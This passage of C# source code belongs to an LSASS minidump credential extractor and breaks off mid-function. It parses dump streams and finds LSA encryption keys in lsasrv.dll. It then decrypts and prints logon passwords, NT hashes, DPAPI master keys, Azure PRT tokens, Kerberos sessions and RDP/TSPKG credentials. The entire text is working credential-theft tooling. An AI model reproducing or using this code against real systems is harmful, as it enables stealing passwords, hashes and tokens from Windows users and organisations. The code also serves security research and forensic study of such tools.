public static List <MINIDUMP_DIRECTORY> ParseDirectory(Program.MiniDump minidump) { List <MINIDUMP_DIRECTORY> directories = new List <Directory.MINIDUMP_DIRECTORY>(); for (int i = 0; i < (int)minidump.header.NumberOfStreams; i++) { minidump.fileBinaryReader.BaseStream.Seek(minidump.header.StreamDirectoryRva + i * 12, 0); UInt32 raw_stream_type_value = Helpers.ReadUInt32(minidump.fileBinaryReader); bool is_user_stream = (int)raw_stream_type_value > (int)MINIDUMP_STREAM_TYPE.LastReservedStream; bool is_stream_supported = Enum.IsDefined(typeof(MINIDUMP_STREAM_TYPE), (int)raw_stream_type_value); if (is_user_stream && !is_stream_supported) { continue; } MINIDUMP_DIRECTORY md = new MINIDUMP_DIRECTORY(); md.StreamType = (MINIDUMP_STREAM_TYPE)Enum.Parse(typeof(MINIDUMP_STREAM_TYPE), Enum.GetName(typeof(MINIDUMP_STREAM_TYPE), (int)raw_stream_type_value)); // Enum.GetName(typeof(MINIDUMP_STREAM_TYPE), (int)raw_stream_type_value); md.Size = Helpers.ReadUInt32(minidump.fileBinaryReader); md.Offset = Helpers.ReadUInt32(minidump.fileBinaryReader); directories.Add(md); } return(directories); }
public static int FindCredentials(Program.MiniDump minidump, tspkg.TspkgTemplate template) { RTL_AVL_TABLE entry; long llCurrent; long tsGlobalCredTableAddr = find_signature(minidump, "TSpkg.dll", template.signature); if (tsGlobalCredTableAddr != 0) { long ptr_entry_loc = (long)get_ptr_with_offset(minidump.fileBinaryReader, tsGlobalCredTableAddr + template.avl_offset, minidump.sysinfo); long ptr_entry = (long)Minidump.Helpers.ReadUInt64(minidump.fileBinaryReader, (long)ptr_entry_loc); //ptr_entry = Rva2offset(minidump, ptr_entry); //minidump.fileBinaryReader.BaseStream.Seek(ptr_entry, 0); //byte[] entryBytes = minidump.fileBinaryReader.ReadBytes(Marshal.SizeOf(typeof(RTL_AVL_TABLE))); //entry = ReadStruct<RTL_AVL_TABLE>(entryBytes); // //llCurrent = entry.BalancedRoot.RightChild; WalkAVLTables(minidump, template, ptr_entry); return(0); } return(1); }
public static LsaDecryptor.LsaKeys LsaDecryptor(Program.MiniDump minidump, lsaTemplate_NT6.LsaTemplate_NT6 template) { LsaDecryptor.LsaKeys LsaKeys = new LsaDecryptor.LsaKeys(); acquire_crypto_material(minidump, template, ref LsaKeys); return(LsaKeys); }
public static int FindCredentials(Program.MiniDump minidump, rdp.RdpTemplate template) { foreach (byte[] signature in template.signature) { rdp.WTS_KIWI cred = new rdp.WTS_KIWI(); List <long> positions = find_all_global(minidump.fileBinaryReader, signature); foreach (long pos in positions) { if (pos <= 0) { continue; } minidump.fileBinaryReader.BaseStream.Seek(pos + template.first_entry_offset, 0); try { byte[] credBytes = minidump.fileBinaryReader.ReadBytes(Marshal.SizeOf(typeof(rdp.WTS_KIWI))); cred = ReadStruct <rdp.WTS_KIWI>(credBytes); } catch { continue; } if (cred.cbDomain <= 512 && cred.cbUsername <= 512 && cred.cbPassword <= 512 && cred.cbPassword > 0) { try { string domain = Encoding.ASCII.GetString(cred.Domain.Take(cred.cbDomain).ToArray()); string username = Encoding.ASCII.GetString(cred.UserName.Take(cred.cbUsername).ToArray()); byte[] password_raw = cred.Password.Take(cred.cbPassword).ToArray(); if (string.IsNullOrEmpty(domain) || string.IsNullOrEmpty(username)) { continue; } //credentials are encrypted if (minidump.sysinfo.BuildNumber >= (int)SystemInfo.WindowsMinBuild.WIN_10) { continue; } Console.WriteLine(username); Console.WriteLine(domain); Console.WriteLine(PrintHexBytes(password_raw)); PrintProperties(cred); } catch { } } } } return(0); }
public static long find_signature(Program.MiniDump minidump, lsaTemplate_NT6.LsaTemplate_NT6 template) { //Console.WriteLine("Looking for main struct signature in memory..."); long fl = Helpers.find_in_module(minidump, "lsasrv.dll", template.key_pattern.signature); if (fl == 0) { throw new Exception("LSA signature not found!"); } return(fl); }
public static LsaKeys choose(Program.MiniDump minidump, object template) { if (template.GetType() == typeof(lsaTemplate_NT6.LsaTemplate_NT6)) { return(LsaDecryptor_NT6.LsaDecryptor(minidump, (lsaTemplate_NT6.LsaTemplate_NT6)template)); } else { throw new Exception($"NT5 not yet supported"); } }
public static void acquire_crypto_material(Program.MiniDump minidump, lsaTemplate_NT6.LsaTemplate_NT6 template, ref LsaDecryptor.LsaKeys LsaKeys) { //Console.WriteLine("Acquireing crypto stuff..."); long sigpos = find_signature(minidump, template); minidump.fileBinaryReader.BaseStream.Seek(sigpos, 0); LsaKeys.iv = get_IV(minidump, sigpos, template); LsaKeys.des_key = get_des_key(minidump, sigpos, template); LsaKeys.aes_key = get_aes_key(minidump, sigpos, template); }
public static byte[] get_IV(Program.MiniDump minidump, long pos, lsaTemplate_NT6.LsaTemplate_NT6 template) { //Console.WriteLine("Reading IV"); long offset = (pos + template.key_pattern.offset_to_IV_ptr); long ptr_iv = (long)Helpers.get_ptr_with_offset(minidump.fileBinaryReader, (long)offset, minidump.sysinfo); minidump.fileBinaryReader.BaseStream.Seek(ptr_iv, 0); byte[] data = minidump.fileBinaryReader.ReadBytes(template.key_pattern.IV_length); return(data.Take(16).ToArray()); }
public static MINIDUMP_SYSTEM_INFO parse(Directory.MINIDUMP_DIRECTORY dir, Program.MiniDump minidump) { minidump.fileBinaryReader.BaseStream.Seek(dir.Offset, 0); byte[] chunk = minidump.fileBinaryReader.ReadBytes((int)dir.Size); using (BinaryReader ChunkReader = new BinaryReader(new MemoryStream(chunk))) { MINIDUMP_SYSTEM_INFO si = Parse(ChunkReader); si.OS = guess_os(si.MajorVersion, si.MinorVersion, si.ProductType); return(si); } }
public static MinidumpHeader ParseHeader(Program.MiniDump minidump) { MinidumpHeader Header = new MinidumpHeader(); Header.Signature = Helpers.ReadString(minidump.fileBinaryReader, 4); Header.Version = Helpers.ReadUInt16(minidump.fileBinaryReader); Header.ImplementationVersion = Helpers.ReadUInt16(minidump.fileBinaryReader); Header.NumberOfStreams = Helpers.ReadUInt32(minidump.fileBinaryReader); Header.StreamDirectoryRva = Helpers.ReadUInt32(minidump.fileBinaryReader); Header.CheckSum = Helpers.ReadUInt32(minidump.fileBinaryReader); Header.Reserved = Helpers.ReadUInt32(minidump.fileBinaryReader); Header.TimeDateStamp = Helpers.ReadUInt32(minidump.fileBinaryReader); //Header.Flags = Helpers.ReadUInt32(fileBinaryReader); Header.Flags = Enum.GetName(typeof(MINIDUMP_TYPE), Helpers.ReadUInt32(minidump.fileBinaryReader)); return(Header); }
public static List <MinidumpModule> parse(Directory.MINIDUMP_DIRECTORY dir, Program.MiniDump minidump) { List <MinidumpModule> list = new List <MinidumpModule>(); minidump.fileBinaryReader.BaseStream.Seek(dir.Offset, 0); byte[] chunk = minidump.fileBinaryReader.ReadBytes((int)dir.Size); using (BinaryReader ChunkReader = new BinaryReader(new MemoryStream(chunk))) { MINIDUMP_MODULE_LIST mtl = parse_mml(ChunkReader); foreach (MINIDUMP_MODULE mod in mtl.Modules) { MinidumpModule module = parse_mod(mod, minidump.fileBinaryReader); list.Add(module); } } return(list); }
public static MinidumpMemory86List parse(Directory.MINIDUMP_DIRECTORY dir, Program.MiniDump minidump) { List <MinidumpMemory.MinidumpMemorySegment> list = new List <MinidumpMemory.MinidumpMemorySegment>(); MinidumpMemory86List mmlist = new MinidumpMemory86List(); minidump.fileBinaryReader.BaseStream.Seek(dir.Offset, 0); byte[] chunk = minidump.fileBinaryReader.ReadBytes((int)dir.Size); using (BinaryReader ChunkReader = new BinaryReader(new MemoryStream(chunk))) { var mtl = parse_mml(ChunkReader); foreach (MINIDUMP_MEMORY_DESCRIPTORx86 mod in mtl.MemoryRanges) { //list.Add(parse_mini(mod, fileBinaryReader)); } } mmlist.memory_segments = list; return(mmlist); }
public static byte[] get_des_key(Program.MiniDump minidump, long pos, lsaTemplate_NT6.LsaTemplate_NT6 template) { ///Console.WriteLine("Acquireing DES key..."); long offset = (pos + template.key_pattern.offset_to_DES_key_ptr); long ptr_iv = (long)Helpers.get_ptr_with_offset(minidump.fileBinaryReader, (long)offset, minidump.sysinfo); minidump.fileBinaryReader.BaseStream.Seek(ptr_iv, 0); ptr_iv = (long)Minidump.Helpers.ReadUInt64(minidump.fileBinaryReader); ptr_iv = Helpers.Rva2offset(minidump, ptr_iv); minidump.fileBinaryReader.BaseStream.Seek(ptr_iv, 0); byte[] h3DesKeyBytes = minidump.fileBinaryReader.ReadBytes(Marshal.SizeOf(typeof(KIWI_BCRYPT_HANDLE_KEY))); KIWI_BCRYPT_HANDLE_KEY h3DesKey = Helpers.ReadStruct <KIWI_BCRYPT_HANDLE_KEY>(h3DesKeyBytes); byte[] extracted3DesKeyByte = minidump.fileBinaryReader.ReadBytes(Marshal.SizeOf(typeof(KIWI_BCRYPT_KEY81))); KIWI_BCRYPT_KEY81 extracted3DesKey = Helpers.ReadStruct <KIWI_BCRYPT_KEY81>(extracted3DesKeyByte); return(extracted3DesKey.hardkey.data.Take(24).ToArray()); }
public static List <KerberosLogonItem> FindSessions(Program.MiniDump minidump, kerberos.KerberosTemplate template) { var klogonlist = new List <KerberosLogonItem>(); long position = find_signature(minidump, "kerberos.dll", template.signature); if (position == 0) { Console.WriteLine("[x] Error: Could not find KerberosSessionList signature\n"); return(klogonlist); } var ptr_entry_loc = get_ptr_with_offset(minidump.fileBinaryReader, (position + template.first_entry_offset), minidump.sysinfo); var ptr_entry = Minidump.Helpers.ReadUInt64(minidump.fileBinaryReader, (long)ptr_entry_loc); //long kerbUnloadLogonSessionTableAddr = Rva2offset(minidump, (long)ptr_entry); //minidump.fileBinaryReader.BaseStream.Seek(kerbUnloadLogonSessionTableAddr, 0); //Console.WriteLine("Parsing kerberos sessions"); WalkAVLTables(minidump, (long)ptr_entry, klogonlist, template); return(klogonlist); }
private static void WalkAVLTables(Program.MiniDump minidump, long kerbUnloadLogonSessionTableAddr, List <KerberosLogonItem> klogonlist, kerberos.KerberosTemplate template) { if (kerbUnloadLogonSessionTableAddr == 0) { return; } kerbUnloadLogonSessionTableAddr = Rva2offset(minidump, kerbUnloadLogonSessionTableAddr); minidump.fileBinaryReader.BaseStream.Seek(kerbUnloadLogonSessionTableAddr, 0); var entryBytes = minidump.fileBinaryReader.ReadBytes(Marshal.SizeOf(typeof(kerberos.RTL_AVL_TABLE))); var entry = ReadStruct <kerberos.RTL_AVL_TABLE>(entryBytes); //Minidump.Helpers.PrintProperties(entry); if (entry.OrderedPointer != 0) { var item = new KerberosLogonItem(); long address = Rva2offset(minidump, entry.OrderedPointer); minidump.fileBinaryReader.BaseStream.Seek(address, 0); item.LogonSessionAddress = address; item.LogonSessionBytes = minidump.fileBinaryReader.ReadBytes(template.LogonSessionTypeSize); klogonlist.Add(item); //Minidump.Helpers.PrintProperties(item); } if (entry.BalancedRoot.RightChild != 0) { WalkAVLTables(minidump, entry.BalancedRoot.RightChild, klogonlist, template); } if (entry.BalancedRoot.LeftChild != 0) { WalkAVLTables(minidump, entry.BalancedRoot.LeftChild, klogonlist, template); } }
public static int FindCredentials(Program.MiniDump minidump, cloudap.CloudapTemplate template) { wdigest.KIWI_WDIGEST_LIST_ENTRY entry; long logSessListAddr; long llCurrent; long position = find_signature(minidump, "cloudAP.dll", template.signature); if (position == 0) { return(0); } var ptr_entry_loc = get_ptr_with_offset(minidump.fileBinaryReader, (position + template.first_entry_offset), minidump.sysinfo); var ptr_entry = ReadUInt64(minidump.fileBinaryReader, (long)ptr_entry_loc); llCurrent = (long)ptr_entry; long stop = ReadInt64(minidump.fileBinaryReader, Rva2offset(minidump, llCurrent + 8)); do { logSessListAddr = Rva2offset(minidump, llCurrent); byte[] Bytes = ReadBytes(minidump.fileBinaryReader, logSessListAddr, Marshal.SizeOf(typeof(KIWI_CLOUDAP_LOGON_LIST_ENTRY))); var log = ReadStruct <KIWI_CLOUDAP_LOGON_LIST_ENTRY>(Bytes); LUID luid = log.LocallyUniqueIdentifier; //PrintProperties(log); byte[] entryBytes = ReadBytes(minidump.fileBinaryReader, Rva2offset(minidump, log.cacheEntry), Marshal.SizeOf(typeof(KIWI_CLOUDAP_CACHE_LIST_ENTRY))); KIWI_CLOUDAP_CACHE_LIST_ENTRY cacheEntry = ReadStruct <KIWI_CLOUDAP_CACHE_LIST_ENTRY>(entryBytes); string cachedir = Encoding.Unicode.GetString(cacheEntry.toname); //PrintProperties(cacheEntry); Cloudap cloudapentry = new Cloudap(); cloudapentry.cachedir = cachedir; if (cacheEntry.cbPRT != 0 && cacheEntry.PRT != 0) { byte[] prtBytes = ReadBytes(minidump.fileBinaryReader, Rva2offset(minidump, (long)cacheEntry.PRT), (int)cacheEntry.cbPRT); var DecryptedPRTBytes = BCrypt.DecryptCredentials(prtBytes, minidump.lsakeys); string PRT = Encoding.ASCII.GetString(DecryptedPRTBytes.Skip(25).ToArray()); cloudapentry.PRT = PRT; } if (cacheEntry.toDetermine != 0) { byte[] cacheunkBytes = ReadBytes(minidump.fileBinaryReader, Rva2offset(minidump, (long)cacheEntry.toDetermine), Marshal.SizeOf(typeof(KIWI_CLOUDAP_CACHE_UNK))); KIWI_CLOUDAP_CACHE_UNK cacheunk = ReadStruct <KIWI_CLOUDAP_CACHE_UNK>(cacheunkBytes); var DecryptedDpapiBytes = BCrypt.DecryptCredentials(cacheunk.unk, minidump.lsakeys); string key_guid = cacheunk.guid.ToString(); string dpapi_key = BitConverter.ToString(DecryptedDpapiBytes).Replace("-", ""); string dpapi_key_sha1 = BCrypt.GetHashSHA1(DecryptedDpapiBytes); cloudapentry.key_guid = key_guid; cloudapentry.dpapi_key = dpapi_key; cloudapentry.dpapi_key_sha = dpapi_key_sha1; } var currentlogon = minidump.logonlist.FirstOrDefault(x => x.LogonId.HighPart == luid.HighPart && x.LogonId.LowPart == luid.LowPart); if (currentlogon == null) { currentlogon = new Logon(luid) { //UserName = username, Cloudap = new List <Cloudap>() }; currentlogon.Cloudap.Add(cloudapentry); minidump.logonlist.Add(currentlogon); } else { currentlogon.Cloudap = new List <Cloudap>(); currentlogon.Cloudap.Add(cloudapentry); } llCurrent = log.Flink; } while (llCurrent != stop); return(0); }
public static List <Logon> FindSessions(Program.MiniDump minidump, msv.MsvTemplate template) { //Minidump.PrintProperties(template); List <Logon> logonlist = new List <Logon>(); List <long> offsetlist = new List <long>(); long logonSessionListSignOffset = find_signature(minidump, "lsasrv.dll", template.signature); if (logonSessionListSignOffset == 0) { Console.WriteLine("[x] Error: Could not find LogonSessionList signature\n"); return(logonlist); } long logonSessionOffset = (long)get_ptr_with_offset(minidump.fileBinaryReader, (logonSessionListSignOffset + template.LogonSessionListCountOffset), minidump.sysinfo); int logonSessionListCount = ReadInt32(minidump.fileBinaryReader, logonSessionOffset); //Console.WriteLine($"Parsing {logonSessionListCount} logon sessions"); for (var i = 0; i < logonSessionListCount; i++) { //Console.WriteLine($"Parsing session {i}"); long offset = logonSessionListSignOffset + template.first_entry_offset; long listMemOffset = ReadInt32(minidump.fileBinaryReader, offset); long tmp_offset = (int)offset + sizeof(int) + (int)listMemOffset + (16 * i); var voffset = ReadInt64(minidump.fileBinaryReader, tmp_offset); long current = Rva2offset(minidump, voffset); do { long listentry = ReadInt64(minidump.fileBinaryReader, current); listentry = Rva2offset(minidump, listentry); if (listentry == 0) { break; } if (offsetlist.Contains((listentry + template.LocallyUniqueIdentifierOffset))) { break; } KIWI_BASIC_SECURITY_LOGON_SESSION_DATA logonsession = new KIWI_BASIC_SECURITY_LOGON_SESSION_DATA(); offsetlist.Add(listentry + template.LocallyUniqueIdentifierOffset); logonsession.LogonId = listentry + template.LocallyUniqueIdentifierOffset; logonsession.LogonType = ReadInt32(minidump.fileBinaryReader, listentry + template.LogonTypeOffset); logonsession.Session = ReadInt32(minidump.fileBinaryReader, listentry + template.SessionOffset); logonsession.LogonTime = ReadStruct <FILETIME>(ReadBytes(minidump.fileBinaryReader, listentry + template.LogonTimeOffset + 4, 8)); //p* for pointers logonsession.pCredentials = ReadInt64(minidump.fileBinaryReader, listentry + template.CredentialsOffset); logonsession.pCredentialManager = ReadInt64(minidump.fileBinaryReader, listentry + template.CredentialManagerOffset); logonsession.pSid = listentry + template.pSidOffset; var luid = ReadStruct <LUID>(ReadBytes(minidump.fileBinaryReader, logonsession.LogonId, 4)); minidump.fileBinaryReader.BaseStream.Seek(listentry + template.UserNameListOffset, 0); logonsession.UserName = ExtractUnicodeStringString(minidump, ExtractUnicodeString(minidump.fileBinaryReader)); minidump.fileBinaryReader.BaseStream.Seek(listentry + template.DomainOffset, 0); logonsession.LogonDomain = ExtractUnicodeStringString(minidump, ExtractUnicodeString(minidump.fileBinaryReader)); minidump.fileBinaryReader.BaseStream.Seek(listentry + template.LogonServerOffset, 0); logonsession.LogonServer = ExtractUnicodeStringString(minidump, ExtractUnicodeString(minidump.fileBinaryReader)); string stringSid = ""; stringSid = ExtractSid(minidump, logonsession.pSid); var logon = new Logon(luid) { Session = logonsession.Session, LogonType = KUHL_M_SEKURLSA_LOGON_TYPE[logonsession.LogonType], LogonTime = logonsession.LogonTime, UserName = logonsession.UserName, LogonDomain = logonsession.LogonDomain, LogonServer = logonsession.LogonServer, SID = stringSid, pCredentials = Rva2offset(minidump, logonsession.pCredentials), pCredentialManager = Rva2offset(minidump, logonsession.pCredentialManager) }; //Console.WriteLine("session " + logon.Session + " luid " + logon.LogonId.LowPart + " username " + logon.UserName + " pCredentials " + logonsession.pCredentials); //PrintProperties(logon); logonlist.Add(logon); voffset = ReadInt64(minidump.fileBinaryReader, listentry); current = Rva2offset(minidump, voffset); } while (true); } return(logonlist); }
private static void WalkAVLTables(Program.MiniDump minidump, tspkg.TspkgTemplate template, long pElement) { pElement = Rva2offset(minidump, pElement); minidump.fileBinaryReader.BaseStream.Seek(pElement, 0); if (pElement == 0) { return; } var entryBytes = minidump.fileBinaryReader.ReadBytes(Marshal.SizeOf(typeof(RTL_AVL_TABLE))); var entry = ReadStruct <RTL_AVL_TABLE>(entryBytes); //Minidump.Helpers.PrintProperties(entry.BalancedRoot); if (entry.OrderedPointer != 0) { pElement = Rva2offset(minidump, entry.OrderedPointer); minidump.fileBinaryReader.BaseStream.Seek(pElement, 0); var krbrLogonSessionBytes = minidump.fileBinaryReader.ReadBytes(template.TSCredTypeSize); var luid = ReadStruct <LUID>(GetBytes(krbrLogonSessionBytes, template.TSCredLocallyUniqueIdentifierOffset, Marshal.SizeOf(typeof(LUID)))); long pCredAddr = Rva2offset(minidump, BitConverter.ToInt64(krbrLogonSessionBytes, template.TSCredOffset)); minidump.fileBinaryReader.BaseStream.Seek(pCredAddr, 0); var pCredBytes = minidump.fileBinaryReader.ReadBytes(Marshal.SizeOf(typeof(KIWI_TS_PRIMARY_CREDENTIAL))); var pCred = ReadStruct <KIWI_TS_PRIMARY_CREDENTIAL>(pCredBytes); var usUserName = pCred.credentials.UserName; var usDomain = pCred.credentials.Domain; var usPassword = pCred.credentials.Password; var username = ExtractUnicodeStringString(minidump, usUserName); var domain = ExtractUnicodeStringString(minidump, usDomain); byte[] msvPasswordBytes = minidump.fileBinaryReader.ReadBytes(usPassword.MaximumLength); var msvDecryptedPasswordBytes = BCrypt.DecryptCredentials(msvPasswordBytes, minidump.lsakeys); var passDecrypted = ""; var NT = ""; var encoder = new UnicodeEncoding(false, false, true); try { passDecrypted = encoder.GetString(msvDecryptedPasswordBytes); } catch (Exception) { passDecrypted = PrintHexBytes(msvDecryptedPasswordBytes); } if (msvDecryptedPasswordBytes.Length > 0) { try { NT = msvDecryptedPasswordBytes.MD4().AsHexString(); } catch { NT = "NULL"; } } if (!string.IsNullOrEmpty(username) && username.Length > 1) { Tspkg krbrentry = new Tspkg(); krbrentry.UserName = username; if (!string.IsNullOrEmpty(domain)) { krbrentry.DomainName = domain; } else { krbrentry.DomainName = "NULL"; } if (!string.IsNullOrEmpty(passDecrypted)) { krbrentry.Password = passDecrypted; } else { krbrentry.Password = "******"; } krbrentry.NT = NT; //Minidump.Helpers.PrintProperties(krbrentry); if (krbrentry.Password != "NULL") { var currentlogon = minidump.logonlist.FirstOrDefault(x => x.LogonId.HighPart == luid.HighPart && x.LogonId.LowPart == luid.LowPart); if (currentlogon == null) { currentlogon = new Logon(luid); currentlogon.UserName = username; currentlogon.Tspkg = new List <Tspkg>(); currentlogon.Tspkg.Add(krbrentry); minidump.logonlist.Add(currentlogon); } else { currentlogon.Tspkg = new List <Tspkg>(); currentlogon.Tspkg.Add(krbrentry); } } } } if (entry.BalancedRoot.RightChild != 0) { WalkAVLTables(minidump, template, entry.BalancedRoot.RightChild); } if (entry.BalancedRoot.LeftChild != 0) { WalkAVLTables(minidump, template, entry.BalancedRoot.LeftChild); } }
public static int parseMM(ref Program.MiniDump minidump, List <Directory.MINIDUMP_DIRECTORY> directories) { foreach (Directory.MINIDUMP_DIRECTORY dir in directories) { if (dir.StreamType == Directory.MINIDUMP_STREAM_TYPE.UnusedStream) { //Console.WriteLine($"Found UnusedStream {dir.Offset} {dir.Size} Size"); continue; //Reserved. Do not use this enumeration value. } else if (dir.StreamType == Directory.MINIDUMP_STREAM_TYPE.ReservedStream0) { //Console.WriteLine($"Found ReservedStream0 {dir.Offset} {dir.Size} Size"); continue; // Reserved. Do not use this enumeration value. } else if (dir.StreamType == Directory.MINIDUMP_STREAM_TYPE.ReservedStream1) { //Console.WriteLine($"Found ReservedStream1 {dir.Offset} {dir.Size} Size"); continue; // Reserved. Do not use this enumeration value. } else if (dir.StreamType == Directory.MINIDUMP_STREAM_TYPE.ThreadListStream) { //Console.WriteLine($"Found ThreadListStream {dir.Offset} {dir.Size} Size"); //threads = MinidumpThreadList.parse(dir, file_handle); continue; } else if (dir.StreamType == Directory.MINIDUMP_STREAM_TYPE.ModuleListStream) { //Console.WriteLine($"Found ModuleListStream {dir.Offset} {dir.Size} Size"); minidump.modules = ModuleList.parse(dir, minidump); continue; //Console.WriteLine(str(modules_list)) } else if (dir.StreamType == Directory.MINIDUMP_STREAM_TYPE.MemoryListStream) { //Console.WriteLine($"Found MemoryListStream {dir.Offset} {dir.Size} Size"); //memory_segments = MinidumpMemoryList.parse(dir, minidump); continue; //Console.WriteLine(str(memory_segments)) } else if (dir.StreamType == Directory.MINIDUMP_STREAM_TYPE.SystemInfoStream) { //Console.WriteLine($"Found SystemInfoStream {dir.Offset} {dir.Size} Size"); minidump.sysinfo = SystemInfo.parse(dir, minidump); continue; //Console.WriteLine(str(sysinfo)) } else if (dir.StreamType == Directory.MINIDUMP_STREAM_TYPE.ThreadExListStream) { //Console.WriteLine($"Found ThreadExListStream {dir.Offset} {dir.Size} Size"); //threads_ex = MinidumpThreadExList.parse(dir, file_handle); continue; //Console.WriteLine(str(threads_ex)) } else if (dir.StreamType == Directory.MINIDUMP_STREAM_TYPE.Memory64ListStream) { //Console.WriteLine($"Found Memory64ListStream {dir.Offset} {dir.Size} Size"); minidump.memory_segments_64 = MINIDUMP_MEMORY64.parse(dir, minidump); continue; //Console.WriteLine(str(memory_segments_64)) } else if (dir.StreamType == Directory.MINIDUMP_STREAM_TYPE.CommentStreamA) { //Console.WriteLine($"Found CommentStreamA {dir.Offset} {dir.Size} Size"); //comment_a = CommentStreamA.parse(dir, file_handle); continue; //Console.WriteLine(str(comment_a)) } else if (dir.StreamType == Directory.MINIDUMP_STREAM_TYPE.CommentStreamW) { //Console.WriteLine($"Found CommentStreamW {dir.Offset} {dir.Size} Size"); //comment_w = CommentStreamW.parse(dir, file_handle); continue; //Console.WriteLine(str(comment_w)) } else if (dir.StreamType == Directory.MINIDUMP_STREAM_TYPE.ExceptionStream) { //Console.WriteLine($"Found ExceptionStream {dir.Offset} {dir.Size} Size"); //exception = ExceptionList.parse(dir, file_handle); continue; //Console.WriteLine(str(comment_w)) } else if (dir.StreamType == Directory.MINIDUMP_STREAM_TYPE.HandleDataStream) { //Console.WriteLine($"Found HandleDataStream {dir.Offset} {dir.Size} Size"); //handles = MinidumpHandleDataStream.parse(dir, file_handle); continue; //Console.WriteLine(str(handles)) } else if (dir.StreamType == Directory.MINIDUMP_STREAM_TYPE.FunctionTableStream) { //Console.WriteLine($"Found FunctionTableStream {dir.Offset} {dir.Size} Size"); //Console.WriteLine($"Parsing of this stream type is not yet implemented!"); continue; } else if (dir.StreamType == Directory.MINIDUMP_STREAM_TYPE.UnloadedModuleListStream) { //Console.WriteLine($"Found UnloadedModuleListStream {dir.Offset} {dir.Size} Size"); //unloaded_modules = MinidumpUnloadedModuleList.parse(dir, file_handle); continue; //Console.WriteLine(str(unloaded_modules)) } else if (dir.StreamType == Directory.MINIDUMP_STREAM_TYPE.MiscInfoStream) { //Console.WriteLine($"Found MiscInfoStream {dir.Offset} {dir.Size} Size"); //misc_info = MinidumpMiscInfo.parse(dir, file_handle); //Console.WriteLine(str(misc_info)) continue; } else if (dir.StreamType == Directory.MINIDUMP_STREAM_TYPE.MemoryInfoListStream) { //Console.WriteLine($"Found MemoryInfoListStream {dir.Offset} {dir.Size} Size"); //memory_info = MinidumpMemoryInfoList.parse(dir, file_handle); //Console.WriteLine(str(memory_info)) continue; } else if (dir.StreamType == Directory.MINIDUMP_STREAM_TYPE.ThreadInfoListStream) { //Console.WriteLine($"Found ThreadInfoListStream {dir.Offset} {dir.Size} Size"); //thread_info = MinidumpThreadInfoList.parse(dir, file_handle); //Console.WriteLine(thread_info); continue; } else if (dir.StreamType == Directory.MINIDUMP_STREAM_TYPE.SystemMemoryInfoStream) { //Console.WriteLine($"Found SystemMemoryInfoStream {dir.Offset} {dir.Size} Size"); //Console.WriteLine($"SystemMemoryInfoStream parsing is not implemented (Missing documentation)"); continue; } else if (dir.StreamType == Directory.MINIDUMP_STREAM_TYPE.JavaScriptDataStream) { //Console.WriteLine($"Found JavaScriptDataStream {dir.Offset} {dir.Size} Size"); //Console.WriteLine($"JavaScriptDataStream parsing is not implemented (Missing documentation)"); } else if (dir.StreamType == Directory.MINIDUMP_STREAM_TYPE.ProcessVmCountersStream) { //Console.WriteLine($"Found ProcessVmCountersStream {dir.Offset} {dir.Size} Size"); //Console.WriteLine($"ProcessVmCountersStream parsing is not implemented (Missing documentation)"); } else if (dir.StreamType == Directory.MINIDUMP_STREAM_TYPE.TokenStream) { //Console.WriteLine($"Found TokenStream {dir.Offset} {dir.Size} Size"); //Console.WriteLine($"TokenStream parsing is not implemented (Missing documentation)"); } else { //Console.WriteLine($"Found Unknown Stream! Type {dir.StreamType}, {dir.Offset}, {dir.Size})"); } } return(0); }
public static int FindCredentials(Program.MiniDump minidump, dpapi.DpapiTemplate template) { foreach (string module in new List <string> { "lsasrv.dll", "dpapisrv.dll" }) { long position = find_signature(minidump, module, template.signature); long llcurrent; if (position == 0) { continue; } var ptr_entry_loc = get_ptr_with_offset(minidump.fileBinaryReader, (position + template.first_entry_offset), minidump.sysinfo); long ptr_entry = ReadInt64(minidump.fileBinaryReader, (long)ptr_entry_loc); llcurrent = ptr_entry; do { byte[] entryBytes = ReadBytes(minidump.fileBinaryReader, Rva2offset(minidump, llcurrent), Marshal.SizeOf(typeof(dpapi.KIWI_MASTERKEY_CACHE_ENTRY))); dpapi.KIWI_MASTERKEY_CACHE_ENTRY dpapiEntry = ReadStruct <dpapi.KIWI_MASTERKEY_CACHE_ENTRY>(entryBytes); //PrintProperties(dpapiEntry); if (dpapiEntry.keySize > 1) { byte[] dec_masterkey = BCrypt.DecryptCredentials(dpapiEntry.key, minidump.lsakeys); Dpapi dpapi = new Dpapi(); //dpapi.luid = $"{dpapiEntry.LogonId.HighPart}:{dpapiEntry.LogonId.LowPart}"; dpapi.masterkey = BitConverter.ToString(dec_masterkey).Replace("-", ""); dpapi.insertTime = $"{ToDateTime(dpapiEntry.insertTime):yyyy-MM-dd HH:mm:ss}"; dpapi.key_size = dpapiEntry.keySize.ToString(); dpapi.key_guid = dpapiEntry.KeyUid.ToString(); dpapi.masterkey_sha = BCrypt.GetHashSHA1(dec_masterkey); Logon currentlogon = minidump.logonlist.FirstOrDefault(x => x.LogonId.HighPart == dpapiEntry.LogonId.HighPart && x.LogonId.LowPart == dpapiEntry.LogonId.LowPart); if (currentlogon == null && !dpapi.insertTime.Contains("1601-01-01")) { currentlogon = new Logon(dpapiEntry.LogonId); currentlogon.Dpapi = new List <Dpapi>(); currentlogon.Dpapi.Add(dpapi); minidump.logonlist.Add(currentlogon); } else { if (currentlogon.Dpapi == null) { currentlogon.Dpapi = new List <Dpapi>(); } currentlogon.Dpapi.Add(dpapi); } } llcurrent = dpapiEntry.Flink; } while (llcurrent != ptr_entry); } return(0); }
public static int FindCredentials(Program.MiniDump minidump, wdigest.WdigestTemplate template) { wdigest.KIWI_WDIGEST_LIST_ENTRY entry; long logSessListAddr; long llCurrent; var passDecrypted = ""; long position = find_signature(minidump, "wdigest.dll", template.signature); if (position == 0) { return(0); } var ptr_entry_loc = get_ptr_with_offset(minidump.fileBinaryReader, (position + template.first_entry_offset), minidump.sysinfo); var ptr_entry = ReadUInt64(minidump.fileBinaryReader, (long)ptr_entry_loc); logSessListAddr = Rva2offset(minidump, (long)ptr_entry); minidump.fileBinaryReader.BaseStream.Seek(logSessListAddr, 0); byte[] entryBytes = minidump.fileBinaryReader.ReadBytes(Marshal.SizeOf(typeof(wdigest.KIWI_WDIGEST_LIST_ENTRY))); var pThis = BitConverter.ToInt64(entryBytes, FieldOffset <wdigest.KIWI_WDIGEST_LIST_ENTRY>("This")); llCurrent = pThis; do { llCurrent = Rva2offset(minidump, llCurrent); minidump.fileBinaryReader.BaseStream.Seek(llCurrent, 0); entryBytes = minidump.fileBinaryReader.ReadBytes(Marshal.SizeOf(typeof(wdigest.KIWI_WDIGEST_LIST_ENTRY))); entry = ReadStruct <wdigest.KIWI_WDIGEST_LIST_ENTRY>(entryBytes); if (entry.UsageCount == 1) { 